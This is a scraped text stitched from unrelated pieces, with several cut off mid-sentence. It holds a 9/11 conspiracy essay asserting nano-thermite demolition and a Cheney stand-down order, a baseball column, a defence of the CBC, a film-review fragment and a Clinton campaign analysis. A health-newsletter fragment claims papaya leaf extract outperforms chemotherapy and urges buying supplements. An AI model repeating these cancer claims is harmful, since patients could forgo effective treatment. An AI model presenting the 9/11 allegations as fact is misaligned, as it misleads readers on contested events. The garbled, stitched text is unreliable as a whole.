9/11 is the wellspring that keeps on gushing, fueling our fear, barbaric behavior, and coffers of the merchants of death. But if the officially sanctioned narrative of 9/11 is any way deficient—if it is a cover-up of some kind, as many credible Commission staffers, prominent academics, military and intelligence officers, architects and engineers have alleged—then we cannot continue tacitly endorsing it without very grave and perhaps fatal consequences to our republic. To censor all inquiry that reflects critically on that first, very panicked draft of history, and declare any revisionist narrative heresy, surrenders our minds to the perpetual War lobby still feeding on it.
The disillusioning betrayals by our Democratic majority should be sufficient evidence of that by now. The torture, renditions, bloodbaths and bankrupting imperialism could be extended for 10 more years, as a Pentagon general recently envisioned. The Constitution, and critical domestic initiatives, are indefinitely detained.
In South America, after decades of plutocratic plunder and police-state oppression, genuinely pluralistic and vital democracies are resurgent, in no small measure because their citizens have courageously and tenaciously faced the horrors of their past, excised the cancer, and insured their progress with legal deterrence—exposure and prosecution of the Dirty War thieves and killers. Wall Street’s IMF shock troops have been evicted from the whole continent, and the rule of law has triumphed. In Argentina, Peru, or Spain, Bush, Cheney and Rumsfeld would be in the dock by now.
But here in United States, cradle of modern democracy and the unfettered Fourth Estate, our ostensible leaders and most of our media still cannot honestly face the seminal neo-fascist crime of over 40 years ago, the assassinations of JFK.. When one of the principal suspects, Cold War fanatic E. Howard Hunt, arranged a posthumous confession two years ago (“Surely someone would have talked by now!”), implicating the CIA’s Cuba faction, it was left to Rolling Stone alone to get the word out (whatever the veracity of that confession was later determined to be, there is no excuse for blacking out news of it). Twenty years earlier, when Mark Lane convinced a Miami jury that the same E. Howard Hunt and the CIA were complicit in the assassination, news of the landmark trial (Hunt vs. Liberty Lobby) never made it beyond a local Miami TV station. If there’s a conspiracy-of-silence theory here, fault our panjandrums of the press for feeding it, including radical luminaries Alexander Cockburn, Noam Chomsky and Justin Raimondo, all still preposterously swearing fealty to the rancid Warren Commission corpse as a holy relic.
Because: power is structural, institutional and ruthless, but it would never stoop to this level (except overseas). Because American exceptionalism embodies more than the privilege to flaunt whatever laws get in the way of its blundering manifest destiny—we are blessed also with a congenital/Constitutional immunity to those Machiavellian maladies common in most other polities in history. A Caesar Borgia is impossible in our land (except Chicago)! We suffer the downside of our singular individualism—Lone Nuts and postal pariahs—but they rarely collaborate in socialistic cabals. God’s, or Madison’s, dispensation has forever freed us from the alien scourge of conspiracy (except the Mafia, famously apolitical). To assert otherwise is a faux pas as impudent as “class warfare.” It’s self-evident: there is no ruling class in the shining city on the hill, but if there were, it would never, ever conspire darkly against the general welfare. Case closed!
Let us give praise: with a few picayune exceptions, every skeleton in our internal National Security empire is dragged out into the disinfecting glare of a summer day in Death Valley. Our congressional investigations are, by and large, enviable forays of forensic rigor and infallibility. We may falter and stumble, but in the Invisible Hand we trust to right the ship in all storms.... as long as our faith is sure and we stifle all doubt. All our current problems ensue, really, from a surfeit of the white man’s burden: Democracy and uplifting Capitalism are threatened by global epidemics of insurgency and virulent socialism that could, if not checked by our stalwart sacrifice, plunge the nation, or even the planet, into a great depression! The only language they understand: napalm on the wedding party. Since WWII, we have successfully crusaded and seeded capital democracy like conquistadors of the Enlightenment: Guatemala, Iran, Greece, Indonesia, Chile, the Phillipines, Indonesia, Vietnam, Iraq. We can’t abandon the mission of 1776 now. We must summon the fortitude to stand up to our swelling coalition of enemies.
It’s not the Cold War—it’s the Slush War, thawed by global warming. Becoming more fully automated, privatized and casualty minimizing. Replacing body bags, we’ll suffer wounded and killed drones and cyborg Marines—boom time for the robot contractors. Moreover, the market is stable, growing and self-fertilizing; new crops of terrorists spring up like bush seedlings after one of our F-22 forest fires. Our boys in uniform will be joystick jocks; when Star Wars is finally deployed (with offensive capability), even the previously disabled can be war heroes. Given the order, a future Steven Hawking, for example, if he got bored with physics, could obliterate one of the Stan countries. Is that not another advance for equality and social justice? Even as we kill prolifically, we do good. Virtue rises and permeates our character undefeated, however rough and tumble we’re forced to be. Most importantly, the Brits don’t have it over us on decorum; our prudence, civility and good taste in public are not inferior—we know when and where to censor ourselves. God save the Queen and the rest of the leisure class.
After 45 years of unpunished serial abuse, the collective unconscious of the nation must be roiling with a lot of repressed baggage, and we imagine this is inconsequential as we “look forward,” that all the talk of “festering wounds” in the national soul is just so much metaphorical prattle. America is a future-forging dynamo, untroubled by the dead weight of remorse for Abu Ghraib, the Gulf of Tonkin, or the Manchurian hit on RFK. No, such detours into the past would hinder the breathtaking progress we’re making on all fronts: reigning in the corporate-financial kleptocracy, ushering in a universal health care system approximately efficient as Cuba’s, withdrawing from the bankrupting quagmires overseas. Deploy the windshield, I’m gasping!
Certainly, let us not distract from celebrating the shower of fig leaves over this swinish epidemic of corruption in the capital. Yes, our gallant Democrats have shifted the political landscape—so the bulk of lobby loot now gravitates to their pockets, and we are appeased with a few grudging lipstick concessions from the bloodsuckers of Wall Street, the Pentagon and the insurance aristocracy—vested agents of bankruptcy, sickness and death feasting now with marginally less ravenous gluttony. Hoorah.
Perhaps our illegal immigrants from the South can assist by cultural diffusion: maybe they can teach us how to conduct a proper truth and reconciliation commission and reclaim our democracy. Maybe their example can shame most of our own journalists, professors and pols into growing some balls. Are we serious about dismantling this murderous, parasitical apparatus, or not? Outraged citizens in Bolivia, Argentina, Lebanon and even Britain take to the streets—our vanguard cannot even open its mouth, except to abjectly slander those who have taken action and risk the kick of outraged consensus reflex.
To cite one example of this noxious co-dependency: here on Daily Kos recently, a longtime blogger, Tocque DeVille was banished for declaring the proscribed L***P theory about 9/11, even after masochistic denials that he was giving any credence to subversive “conspiracy theory”—that ever potent meme adapted to divert investigation of the worst shock therapy crimes. Too grim and serious for us happy, optimistic Americans. Please do not disturb our precious innocence—we will persist peeing the bed and sucking the pacifier of big lies as Uncle confidently prepares to rape us again.
Well, I am serious. The body parts of 92 children in Bola Boluk were just shoveled into graves, courtesy of the Audaciously Hopeful One. And that was merely a downpayment. It is necessary, because somewhere among the gore there may have been a splattered towelhead hatching another 9/11.
If I have not already committed punishable perfidy here, I now offer no theories, conspiratorial or otherwise, but simply the following citation of officiously endorsed empiricism. As Kos repeats the hackneyed gem in his online Rules: “Extraordinary claims demand extraordinary proof.” Well, here it is:
Firm evidence of nano-thermite residue in four distinct WTC dust samples. From a paper published in the peer-reviewed Open Chemical Physics Journal by dissident physicist Stephen Jones (our own Andrei Sakharov) and eight colleagues (summary here: http://www.globalresearch.ca/... Jones states it was the most rigorous peer-review he had ever undergone, in a long and distinguished career. So far, none of the dependable debunkers have disputed this research—that would perhaps draw too much undesired attention to it. So what does it mean?
First, it provides an explanation for two anomalies in the Twin Towers’ destruction: the great plumes of pulverized mass at the beginning of the collapse; and the pools of molten metal found in the debris weeks later (kerosene jet fuel fires may weaken steel, but cannot melt it).
People are quick to jump to unwarranted conclusions, but I will keep this safely within the designated free speech zone: no theories straying off limits into how or by whom the nano-thermite was employed on 9/11. But prima facie, it is a national security issue. Nano-thermite, or super-thermite, is a controlled pyrotechnic compound under the International Traffic in Arms Regulation (ITAR). It has to be engineered in a fairly sophisticated lab (like the Lawrence Livermore National Laboratory, where it was originally synthesized. Or like the distinctive strain of anthrax used in the post 9/11 attacks). If the 19 hijackers and/or unknown confederates somehow acquired or created this devastatingly explosive terrorist weapon (it can be embedded or molded into almost anything, like ceiling tiles, shoes or carry-on luggage), should this not be discussed and investigated? Can our airport scanners detect this stuff? Is there an al-Qaeda nano-technology lab somewhere on the planet? Are we to rely on torture alone to save us from a ticking nano-thermite bomb?
Well, if this evidence be declared verboten by our commissars of permissible discourse, we may safely add to the flourishing Bush/Cheney legacy another element: the willful suppression of science, as we continue marching in blind faith-based amnesia over more cliffs.
We now know unequivocally that the FAA and NORAD lied about the national defense failures on that fateful day, much like the Warren Commission was bamboozled by Hoover’s corrupt FBI (see recent and upcoming books by Commission staffers Richard Ben-Veniste and John Farmer). And we know that Dick Cheney was in complete command (in an encore self-appointment, he assumed supreme authority over homeland defense four months earlier; an unprecedented role for an American VP), having arranged no less than 6 separate war games on 9/11 (Vigilant Guardian, Vigilant Warrior, Northern Vigilance, Northern Guardian, Tripod II, and a curiously coincidental NRO exercise), including simulated hijackings and airliners smashing into buildings (which Condi Rice and company could “never have imagined”) that diverted most U.S. defensive aircraft while effectively providing an obfuscating smokescreen for the genuinely hijacked aircraft. Maybe it wasn’t only the Boeings that were hijacked, but the whole war games scenario. If so, have we identified the al-Qaeda moles in NORAD, the Pentagon, or Dick’s bunker whose intelligence coordinated this Trojan Horse operation? Good God, could they could still be in place, packing nano-thermite laptops and iPods? From Level Blackout, we should move at least to Level Orange alert here.
Regarding responsibility for the financial meltdown, economist James K. Galbraith said, “…as always, you’ll have incompetence, negligence and conspiracy at various parts of the operation at various times”— a rare and exemplary apprehension of complexity that could also flesh out a new, unexpurgated, war-disabling narrative of 9/11. Whatever the relative proportions of negligence, incompetence and conspiracy, one thing is clear: the election-hijacking cabal (another feckless failure of our press, with the lone exception of Keith Olbermann) in power wanted, needed, pined and prayed for a “new Pearl Harbor” to kick off the “New American Century.” Individuals and bureaucracies alike filter out dissonant information, or intelligence, in conflict with grasping desires and beliefs; the best cognitive filter is a numbing ideology masking both inconvenient facts and base ulterior motives, enabling the most barbarous acts in the name of some imagined higher good. Such as: “Our white phosphorus is searing democracy into a stubborn, impervious people.” Better said by John T. Flynn:
The enemy aggressor is always pursuing a course of larceny, murder, rapine and barbarism. We are always moving forward with high mission, a destiny imposed by the Deity to regenerate our victims, while incidentally capturing their markets; to civilize savage and senile and paranoid peoples, while blundering accidentally into their oil wells.
Unlike the first Pearl Harbor, not a single American official has suffered so much as a wrist slap for the loss of 3000 lives on 9/11, even though very specific foreign intelligence about an impending attack was flooding Washington that summer, while Colleen Rowley’s, Robert Wright’s and other diligent FBI agents’ field investigations were stymied, stubbornly and absurdly, by D.C. headquarters (the Moussaoui lead, suspected terrorists in Arizona flight training schools, a money trail back to madrassa financiers, all quarantined in a bureaucratic Siberia). The FBI honcho responsible for most of these persistent obstructions, David Frasca, was never reprimanded— incredibly, he was promoted. Ignore this.
In the secret bunker, Cheney appears to have ordered a stand down as Flight 77 approached the Pentagon, according to the Commission testimony of Transportation Secretary Norman Mineta. Finally dragged together before the hearings they struggled to abort, Cheney ventriloquized his dummy to insure no slip ups focused on this long train of suspicious behavior. The warmongering cowboys fought any deeper probing of the disaster, and largely succeeded; how curious that our champions of the Left now ape them, acting as a mop up crew, blissfully ignorant of recent FBI statements like this:
As with all cases, the FBI will continue to examine the 9/11 investigation from every angle as new evidence develops, utilizing all leads available. Mr. Gage (president of Architect and Engineers for 9/11 Truth) presents an interesting theory, backed by thorough research and analysis. —Michael Heimbach
Assistant Director, Counterterrorism Division
National Security Branch, FBI The reason why 9/11 is not mentioned on Usama Bin Laden's Most Wanted page is because the FBI has no hard evidence connecting Bin Laden to 9/11. —Rex Tomb
Chief of Investigative Publicity, FBI
Got that, ye righteous debunkers? We’re spending more billions hunting down a CIA-spawned Frankenstein for a crime we have no evidence that he committed. All the Taliban demanded before the carpet of bombs in 2002 was submission of that evidence, which Bush and Cheney couldn’t cough up. Sweet. I think Smedley Butler would call it an autocatalytic racket. He would also surely gag if asked to swallow one of the lesser known physical absurdities of 9/11, the Shanksville Gopher Hole, which swallowed Flight 93 and the “Let’s roll!” heroes whole, leaving no discernible debris larger than a baseball on the surface, before belching up engines and other parts and spewing them 8 miles downstream. The only comparable feat is that of Messrs. Cockburn, Chomsky, Raimondo, Moulitsas and company in swallowing this turd without so much as a gag reflex. But these gentlemen have their off-mainstream reputations to uphold. And how their screeds are winning the day! Keep shooting at the tail and tusks, gentlemen; the beast will succumb…eventually.
I don’t know how culpable Cheney is for 9/11—whether he would be indicted for criminal negligence, manslaughter or conspiracy to commit murder, illegal war and torture if not shielded by a vestige of high office. But I know that any nation that still tolerates this malignant Goering pontificating freely in public has a long way to go in recuperating its sabotaged traditions and hocked soul. Maybe we should convene a South American presidents’ summit in Washington or New York. They would probably advise us: “Publish the damn facts and indict the sonofabitches already!”
Of course, the chances of that happening any time soon are slim. The shocking candor might demoralize our media’s corporate overlords, sapping their dynamism that so richly trickles down upon us these days... it could even wreak unprecedented havoc on Wall Street! Above all, the supreme virtue, stability of the status quo, must be safeguarded. We can procrastinate still a little longer; after all, it has taken the Chileans, and many victims of serial abuse, decades to recover. The tsunami’s reflected waves are only now departing the South, to rattle back on the epicenter. Of course, since this tumor of fanatic-right covert ops sheathed with blind impunity was born on November 1963, it could be argued that we’re relatively overdue for making a start. In many cases, we are not talking “conspiracy theory” but simply history—revisionist, radical, uncompromising— and it is no mere academic exercise, as Orwell observed: who controls the past, controls the future.
The reason behind this inertia is obvious: treason has prospered mightily and benefited us all more or less, so none dare call it treason. That’s the demon lurking in our national id; it’s all about maintaining our sumptuous lifestyle, Rumsfeld proclaimed, and who really wants to live less high on the hog? But the credit on these accounts, like our other soaring deficits, is fast approaching the omega point. Recent bulletins from the Pentagon: we could be squatting in Iraq for at least 10 more years; the Vatican-sized embassy in Baghdad will be matched by a new diplomatic fortress in Pakistan; Afghanistan will require another decade as well; and we can still fight a conventional sequel in Korea, the generals cheerfully promise us. While the rest of the country founders, it’s boom time for Daddy Warbucks! Eisenhower understood this military-industrial coup a decade ago; we still don’t get it.
There has been much speculation on what prompted the former general to speak out so bluntly; the ambiguously authorized Gary Powers U2 flight and sabotage of a peace summit with Khruschev being the most likely candidate. Another possibility: he became privy to the now declassified Operation Northwoods plans presented by the Joint Chiefs early in JFK’s presidency. To galvanize the public for a pre-emptive invasion of Cuba, false-flag attacks on the homeland could be engineered, with bombed airliners and civilian casualties. JFK spiked this, before he was spiked. The naive assumption that no Rambos in our corrosive defense establishment could conspire so iniquitously is moot.
The liberation achieved by our former vassals in the South will be elusive to us until we also first liberate our minds. And it may take a shock to stir us from our lethargy, a shock equal to 9/11, which would be the whole shocking truth about 9/11. But maybe you are pleased with our Siamese twin-party farce of reform. A little tweaking and tuning of the Bush policies is all we really need and can hope for, as more thousands are destined to perish from inadequate health care, financial rape, and blind drone strikes. Thankfully, many among us are not so cravenly resigned—like chemistry professor Niels Harrit, co-author of Jone’s nano-thermite paper, who answered why he was so active in the 9/11 Truth movement:
First, I am opposed to crime, and second, when my 6 grandchildren ask me, 'Grandfather, which side were you on?' I will be able to answer them, 'I was on your side.'
For those who would acquiesce, whatever the level of suspicion, and act as if we must ignore, forget, deny and tolerate the crushing of 3000 lives... soon you may be cheering the glorious nuclear engagements with Tehran and Pyongyang in Eastasia. Osama bin Goldstein is still miraculously on the loose, no doubt hatching another Axis of Evil sneak attack in one of the aforementioned capitals. If we just torture sufficiently, perhaps we’ll finally discover his GPS coordinates.
Ignorance is strength... Stubborn ignorance is nuclear!Orioles right-hander Chris Tillman would pitch well earlier this year, and you almost expected him to get on a run and turn into the guy he was the previous season and a half.
Then he would come back with a disaster; his pitches looked flat, his velocity was down and he couldn’t throw strikes.
Perhaps the question I most often received from about mid-April on was "What’s wrong with Tillman?”
He allowed just five earned runs in his first four starts of the year and then he got shelled in Toronto. That kicked off a stretch where if he wasn’t getting pounded, he still wasn’t going deep into games. But then he’d mix in a gem, like that shutout in Kansas City, only to last one inning and give up eight runs in his next start in Pittsburgh.
We were all starting to wonder whether that confident, consistent starter who won 16 games in 2013 would ever appear again.
Not for a start, mind you; we all know he has the talent to be tremendous for a game against the right team.
But whether Tillman could pitch solidly on a consistent basis.
It looks like that is starting to happen again.
In Friday night’s doubleheader nightcap, Tillman allowed just one run, four hits and one walk in eight innings to the Tampa Bay Rays. Yes, the Rays have been abysmal at the plate this year. But in Tillman’s previous outing he shut out the Yankees in New York for seven innings. He gave up just three runs in seven innings to Toronto before that and one run to Boston in six innings on June 10.
Four starts, four division opponents and Tillman posted a 1.61 ERA in 28 innings. In that span, he dropped his season ERA from 5.20 to 4.18. In four of his last six starts, he has pitched six or more innings and allowed one or no runs.
That’s a big step for a guy who twice posted outings this season without getting an out in the second inning.
“I think it is still coming. It’s still a process. You can’t settle. You’ve always got to keep working,” said Tillman (7-4). “Next time, I want to throw my breaking ball better for strikes. I was able to throw it, but very few were in the zone for good pitches. You’ve always got to get better.”
That mentality is awesome. Don’t settle. That’s what separates a lot of players at this level. But does he believe now, after four consecutive quality starts, that he is starting to become the guy who emerged as an All-Star last season?
“I think so, yeah. It was a struggle for me early. And I think it is coming,” he said. “[Pitching coach Dave Wallace] made some big adjustments with me and it’s coming along.”
In layman’s terms, he’s worked on his mechanics to gain better control of his fastball, which he is now throwing for strikes. And that’s given him more confidence in games.
“I think [it has been] more of a mechanical [change], which transfers over to confidence,” he said.
The Orioles have some flaws that need to be fixed if they are going to compete in the American League East all year – they have to get on base more, hit better with runners in scoring position, find a way to score when they don’t hit home runs and continually receive deeper starts from their rotation.
Yet one of the most important elements for this team is finding a way to keep Tillman pitching consistently well.The neoliberal view of the CBC as a commodity in the market, as opposed to a public good outside it, must be challenged.
Corporate media in Canada are at it again. Sounding alarm bells that the Canadian Broadcasting Corporation (CBC) is once again trying to eat their supper. This time their focus is on how the CBC’s digital news operations and the shift to publishing analysis of contemporary news events are detrimental to the country’s private media.
In front of the House of Commons Heritage committee the Globe and Mail’s Phillip Crawley said that CBC News is his newspaper’s “largest competitor,” and iPolitics publisher James Baxter called CBC News an “uber-predator.” Meanwhile, the National Post’s David Berry called the CBC’s recent move to offer opinion on its website “irresponsible…particularly when it is doing so out of its own news budget.” Local online organizations have also decried the CBC’s emphasis on digital content. Metro Edmonton’s editor contends the “taxpayer-funded corporation is helping accelerate our demise.”
Let’s be clear. This is the same argument that critics of the CBC and powerful commercial broadcasters have been making for years. It’s the same old “market failure” view of public broadcasting in Canada. Simply put, this view contends that the CBC should only do things that private media don’t or won’t do. The CBC should confine itself to doing things where the market has failed to deliver or there’s no money to be made, such as television and radio for remote and Indigenous communities. According to this logic, public broadcasting is allowed to exist as long as it does not encroach on the space of private media. The CBC should confine itself to opera rather than pop music, which is a domain where commercial media can make a buck. This neoliberal view positions the CBC as a commodity in the market, as opposed to a public good outside it. This view must be challenged.
Canada’s national public broadcaster is intended to be a public good. The CBC is, as writer Wade Rowland has argued pointedly, akin to schools, hospitals, universities and public museums, which enhance public life, and enrich individual lives.
“Everybody who is smart in bureaucracies and governments around the Western world,” argues philosopher John Ralston Saul, “now knows that public broadcasting is one of the most important remaining levers that a nation state has to communicate with itself.”
While academics extol the cultural, social and democratic value of the CBC, it is extremely rare for this view of public broadcasting to be expressed in the popular news media. Instead, our public discourse is filled with pessimism about it.
In our content analysis of Canadian news media coverage about the CBC between January 1, 2009, and April 30, 2014, we randomly analyzed 467 newspaper accounts about the CBC drawn from the country’s large English daily newspapers and the Canadian Press. In our examination of news, commentary and letters to the editor, we found that little if any connection was made between the CBC and public service. Only about 10 percent of media stories in that half decade linked notions of public service with Canada’s national public broadcaster.
This absence is telling. It reflects the power dynamics that surround the public debate about the Crown corporation. Much of the coverage (65 percent) focuses on its troubled and precarious position. It could be argued that this stream of negative news coverage is perpetuating an incomplete understanding of the CBC’s important democratic, social and cultural role.
The absence, or silence, authorizes a discourse that privileges neoliberal or market values over public service values. When compared with the British Broadcasting Corporation in the United Kingdom, the CBC’s importance or worth is largely evaluated in our public debate by means of a balance sheet’s bottom line. In other words, it has become natural in Canada’s public discourse to imagine the CBC with little or no connection to ideals of public value or public good.
For years the anti-CBC argument has been a sort of broken record: The CBC shouldn’t do what the commercial broadcasters already do. A critical reading of this stance recognizes the blatant underlying self-interest, framing private and public media as equals. But their goals are, of course, fundamentally different. Whereas the goal of private media is to make a profit, that of public service broadcasters is to serve the public.
We hope our study rebalances the public debate. By drawing attention to the absence of the notion of public service in the news media, our research seeks to highlight, for all supporters of public broadcasting, the importance of equating the CBC with that public service notion. And perhaps the corrosive market failure monologue that surrounds the CBC will eventually be replaced with a discourse that equates CBC with other public services such as museums, libraries and schools.
To be sure, the CBC is “giving away” a product that private media is trying to sell. Considering the dire straits in which the industry finds itself, one can understand its business strategy of putting the CBC back into the box of its 1991 Broadcasting Act definition as “the national public broadcaster” tasked with “[providing] radio and television services incorporating a wide range of programming that informs, enlightens and entertains.”
This mandate for the CBC predates the Internet. So it isn’t surprising that providing digital services isn’t mentioned directly. However, the CBC was also instructed to make its services available “throughout Canada by the most appropriate and efficient means and as resources become available for the purpose.” The CBC’s Strategy 2020, which emphasizes the organization’s digital future, fits neatly within this and within Canadians’ evolving media habits.
In fact, it is curious we are still hearing this market failure argument (the CBC should only do things that private media can’t or won’t do), given that we seem to have arrived at that unfortunate reality. Canadian media are starving, and some experts even speculate that there will be no Canadian daily newspapers or local TV stations nine years from now. Does that mean we’re going to get a properly funded public broadcaster now, to fill in the gaps? We doubt it.
We recognize that the CBC partly relies on advertising money. But commercial broadcasters such as CTV and Global also get public subsidies and regulator protection. The debate about whether the CBC should get out of the advertising business has some merit. The CBC’s former research director, Barry Kiefl, has questioned the business case for the public broadcaster being in the ad business. This past summer, the CRTC ordered the CBC to stop paid ads on the network’s Radio Two, leading some to speculate that advertising on TV might be next. We think it is time we had a conversation about the role and funding of the public broadcaster in Canada, especially now that newsrooms across the country are increasingly losing journalists.
The CBC hasn’t done much to defend itself against these attacks. The public broadcaster gently pushed back a few weeks ago, and told digital detractors decrying the its recent move to include more opinion on its website that it, the CBC, cannot be blamed for the big problems facing media. It also pointed out the obvious: that the CBC is already in the opinion business, with shows such as “Cross Country Checkup” on Radio One, and “The National’s” most watched political panel, “At Issue.”
“Limiting access to the digital public space is not in the public interest,” wrote the CBC’s executive vice-president Heather Conway. And CBC President Hubert Lacroix defended the crown corporation’s digital expansion more forcefully, stressing that digital advertising revenue is a mere $25 million per year for the public broadcaster. Total digital advertising for all of Canada, noted Lacroix, added up to $4.6 billion in revenue last year. It is indeed difficult to believe, as Lacroix contends, that private media’s “problems would be solved” if the CBC stopped selling ads online.
It is about time the CBC defended public broadcasting and its service to Canadians more directly and robustly. Sadly, too many CBC officials and too much public discourse about the public broadcaster fails to make the connection between what it does and the public service it provides Canadians.
Canadians have the right to a media organization whose motives are not primarily driven by the pursuit of profit and private interest.
Whether analog or digital, information is not just a commodity to be packaged and sold by private media. It is a public good that is vital to our democracy. Private media unquestionably have a right to exist, and government has a responsibility to ensure fair market conditions prevail. However, Canadians also have the right to a media organization whose motives are not primarily driven by the pursuit of profit and private interest. Private media are businesses; they should not be expected to act otherwise. While a healthy private media sector is to be encouraged, on its own it isn’t sufficient.
In 1997, under the headline “Our Democracy’s Quiet Crisis,” Dalton Camp referred to the CBC as “the best guarantee Canadians had for diversity and for freedom of speech.” The crisis at hand was the failure of Jean Chrétien’s Liberal government to abate what Camp described as the “savaging of the CBC.” We now find ourselves on the other side of Canada’s 42nd general election with a Liberal majority government, a deficit-running government that announced plans in its 2016 budget to invest $675 million over five years to “modernize and revitalize |
healthy cells. It even causes cancer.
“Nobody who takes this extract experiences demonstrable toxicity; it seems like you could take it for a long time—as long as it is effective,” said Dr. Dang.
Nature’s new chemo is none other than…
The tropical papaya leaf extract.
Papaya is native to Central America and grows in tropical climates. It contains the active enzyme papain.3 And it is a rich source of antioxidants that help a variety of ailments.
But this latest cancer research blows everything else we knew about it completely out of the water. It’s not better than conventional treatments simply because it’s non-toxic. It actually is proving more effective.
A study out of Malaysia studied papaya leaf extract’s effects on hypoxic cancer cells.4 These are cells that have been deprived of oxygen and are more resistant to radiation and chemotherapy. Researchers treated the cancer cells with various concentrations of the papaya extract.
Once again, papaya killed cancer cells. The extract halted the growth of hypoxic cancer cells. Something chemo can’t even do.
Researchers still need to conduct human trials. But in the meantime, you should still add some to your diet. And the experts agree…
Bharat B. Aggarwal, a researcher at the University of Texas M.D. Anderson Cancer Center Houston feels papaya is already worthy to add into his diet regimen.5 He enjoys a serving of the fruit daily.
You can buy papaya at your local grocer. But if you want a higher concentration of papain, take it as a supplement. You can find papaya leaf extract at any health food store.
With its luscious taste and over 80 nutrients, this is a fruit you should regularly enjoy. And one that just may keep you cancer free.
P.S. While we’re on the topic of cancer…have you heard of “Invisible Cancer?” Regular tests won’t detect it. And you may not have any symptoms…yet. But left untreated, it could be deadly. That’s why we urge you to find out more about it right away.
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References:
1 http://www.ncbi.nlm.nih.gov/pubmed/19961915
2 http://www.medicalnewstoday.com/articles/248661.php
3 http://www.whfoods.com/genpage.php?tname=foodspice&dbid=47
4 http://www.ncbi.nlm.nih.gov/pubmed/23022321
5 http://news.ufl.edu/2010/03/09/papaya-2/He then gets into a limo and starts taking his clothes off again for some reason. This is one of the many, many scenes that obviously seemed badass inside Rudy Ray's head and nowhere else, and that offer irrefutable proof that once Rudy screamed action, everyone else was too terrified to speak. One particularly curious decision that you'd think even the most cowardly Assistant Director would have raised his hand for: If I was portraying a badass ladies man his first action would not be "Performing strip-tease for a male convict population."
4 Romance!
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Rudy Ray Moore wants you to know he's successful with women, and he thinks "insinuation" is something people do when they're impotent. If he wishes to imply a lady likes him, the only reason you don't see shaft is because the cameraman can't get the lens into the molecule-thin gap between his crotch and the refurbished prostitute/actress impersonating a face-shaped vacuum cleaner.
The only time any of the women in the film look comfortable on screen is when they're licking people. I tried to imagine a life so tragic that the best moments in it are licking Rudy Ray Moore, which is why I'm dictating this article to the suicide negotiator on the street 10 floors below me. This remains the only movie I've ever seen where a full backhand slap is the most romantic gesture. And this is a real full on pimp-slap (as in "Oh, THAT'S why pimps are considered a cross between humanity and sewage"). Of course, in the world of Dolemite, this always leads immediately to sex. Horrific, horrific sex.Bill Scher is the senior writer at the Campaign for America’s Future, and co-host of the Bloggingheads.tv show “The DMZ” along with the Daily Caller’s Matt Lewis.
Hillary Clinton stepped into the 2016 presidential race hoping voters would effortlessly pass the torch from President Barack Obama to her, yet found herself surrounded by a raging anti-establishment inferno. “Burn it down” was the unofficial slogan of the Republican primary. And Bernie Sanders gave her a run for her money by metaphorically lighting all her Wall Street speaking fee money on fire.
Today, as she is unofficially crowned the “presumptive nominee,” Clinton has officially done what Jeb Bush, John Kasich, Marco Rubio and Lindsey Graham could not: survive the populist wave while being perceived as an insider. Now, as Donald Trump tries to assemble a potent pitchfork brigade to seize Washington, the establishment’s lonely eyes are turning to Hillary Clinton.
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As Clinton shifts her focus to the general election, last week’s one-two teleprompter punch from Clinton and Obama suggests a fall strategy that runs somewhat counter to the populist tenor of the primaries. It looks like we’re going to see a superstar tag team duo aiming to consolidate all of strains of the unsettled establishment—and the disaffected Republicans and moderate swing voters who identify with their views—without alienating the Bernie Sanders/Elizabeth Warren populist wing of the Democratic Party.
While Clinton still has work to do to woo Bernie voters, she has a huge opportunity created by the disruptive Trump, who has left many national security hawks, free marketers and pro-immigrant, pro-diversity conservatives feeling politically homeless. In turn, she and Obama have begun crafting arguments more associated with establishment politics than populism.
Make no mistake: this is nothing less than a political high-wire act being attempted by a meticulous but not always agile candidate. Many Sanders voters say they don’t trust her when she claims to be a “progressive,” and any new rightward lean will only confirm their suspicions. But she'll have one heck of a wingman to carry the establishment banner through the populist headwinds: President Barack Obama, who, according to Gallup, boasts a near unanimous 84 percent job approval rating among liberals and a healthy 56 percent with moderates. He’s now testing the boundaries of those numbers, trying to leverage his reservoir of goodwill on the left to deliver a sharp rebuttal to Trump’s broadsides against his trade policies. Clearly, he is seeking to expand the political playing field, give Clinton more ideological room to maneuver and give the “Establishment” a good name.
It's early yet, but if Clinton successfully walks the tightrope we could experience a dramatic ideological reorganization. A Clinton coalition that mixes populist with establishmentarian, capturing both disgusted center-right Republicans and wary independent Sandernistas, could be the biggest tent American politics has seen since Richard Nixon created the Environmental Protection Agency while he was bombing Cambodia.
***
Clinton recognizes that the pillars of the American political establishment—the think tank experts, political operatives, opinionated scribblers and fat cat donors on both left and right who shape much of the daily Washington conversation—have found themselves disoriented by the primary season. Some, like the New York Times’ David Brooks, used the moment to shame their insider brethren for failing to spot the grassroots tumult. But listen closely and you can hear their plaintive cries for a leader who can quell the demands for crude, one-note policy solutions.
You can hear the establishment voices on the right, like conservative foreign policy leader Max Boot, who wrote last month of his inclination to break with his party: “Hillary Clinton is a centrist Democrat who is more hawkish than President Obama and far more principled and knowledgeable about foreign affairs than Trump. … But I am not prepared to join the party that she leads, because so much of it appears to be well to her left.”
You can hear the frustration among Democratic elites, who are tired of being tarred as corporate shills by Bernie Sanders and his supporters. Former congressman and Wall Street reform namesake Barney Frank vented to the Washington Post in April, “He has now become critical of those who compromise, he's critical of the pragmatic approach to getting things done and even suggests … that we do it for base motives.”
You can even hear the subtle pleas from centrist billionaires, as when Warren Buffett knocked Sanders for “a tendency to demonize institutions” and offer simplistic solutions. Or when Michael Bloomberg announced he wouldn’t run for president because he might tip the election to Trump, while observing with dismay how the “leading Democratic candidates have attacked policies that spurred growth and opportunity under President Bill Clinton—support for trade, charter schools, deficit reduction and the financial sector.” Translation: Clinton, don’t let Sanders’ platform run the party.
Clinton rightly sees a big opportunity here not only to win the favor of those insiders with robust media access, but to impress moderate voters who carry a similar skepticism of pat answers to tough problems. Of course, she is all too aware that she can’t take the votes from Sanders supporters for granted, as their reluctance is already weighing down her poll numbers. She has already leaned farther left than she probably planned to do, in order to deprive Sanders of easy targets on the Trans-Pacific Partnership, the Keystone pipeline and the minimum wage. But there were lines to her left she would not cross, be it for political expediency or on pragmatist policy grounds. She wouldn’t touch a “carbon tax,” she danced around Glass-Steagall repeal and she did not back away from her record of supporting military interventions during her time as secretary of state. She even defended Henry Kissinger, the embodiment of the foreign policy establishment, by schooling Sanders on the need to listen to expertise, whatever the source: “Yes, people we may disagree with on a number of things may have some insight, may have some relationships that are important for the president to understand in order to best protect the United States.”
